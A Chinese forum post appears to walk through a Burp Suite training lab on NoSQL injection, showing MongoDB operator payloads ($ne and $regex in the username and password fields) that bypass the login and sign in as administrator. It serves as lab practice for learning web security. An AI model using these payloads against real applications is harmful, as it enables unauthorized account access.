发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场NOSQL注入漏洞2

CTF练习 1010 0 2025-9-1 08:49:29

第二关 利用 NoSQL 操作运算符注入绕过身份验证

这一关就是通过 NoSQL 操作符注入 绕过登录验证,成功以管理员身份登录。

提示:1、靶场的登录功能由 MongoDB NoSQL 数据库提供支持。它容易受到使用 MongoDB 运算符的 NoSQL 注入的攻击。

2、要解决实验室问题,请以 管理员用户身份登录到应用程序

3、自己的帐户:wiener:peter

具体操作:

1、运行burp时,登录账户,然后把POST /login这个登录数据包发往repeater

2、然后在 Repeater 中,测试用户名和密码参数,以确定它们是否允许我注入 MongoDB 运算符:

先将用户名参数的值从 “wiener” 更改为 {“$ne”:“”},然后发送请求

"username":"wiener"
改成:
"username":{"$ne":""}

返回302,说明也是可以登录成功的

复制响应的URL到浏览器,显示也可以登录成功

然后尝试将 username 参数的值改变一下,然后发送请求。

也可以使用 $regex 运算符,不加双引号

"username":{"$ne":""}
改成:
"username":{"$regex":"wien.*"}

返回302,说明也可以登录成功

然后将用户名参数设置为 {“$ne”:“”} 后,将密码参数的值从 “peter” 更改为 {“$ne”:“”},然后再次发送请求。

"username":{"$ne":""},
"password":{"$ne":""}

返回500,内部服务器错误页面显示查询返回了意外的数量记录

这会导致查询返回意外数量的记录。这表示已选择多个用户

分析完,我来尝试下将密码参数设置为 {“$ne”:“”},将用户名参数的值更改为 {“$regex”:“admin.*”}, 然后再次发送请求。

"username":{"$regex":"admin.*"},
"password":{"$ne":""}

返回302,说明以管理员身份登录成功

复制响应的URL,成功以管理员用户身份登录。

靶场过关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回